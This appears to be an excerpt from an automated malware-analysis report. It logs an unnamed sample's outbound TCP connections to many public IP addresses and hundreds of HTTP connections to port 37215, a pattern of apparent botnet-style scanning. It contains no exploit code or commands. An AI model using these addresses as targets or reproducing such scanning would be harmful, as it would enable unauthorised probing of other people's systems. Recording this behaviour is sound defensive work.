Source: global traffic	TCP traffic: 41.221.210.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.141.47.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.113.153.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.10.125.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.169.24.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.235.191.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.14.225.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.214.0.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.144.162.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.77.108.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.105.187.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.160.80.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.232.93.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.135.115.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.123.24.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.77.149.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.122.231.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.226.203.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.97.221.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.133.162.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.224.16.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.64.116.109 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 46980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37710 -> 37215
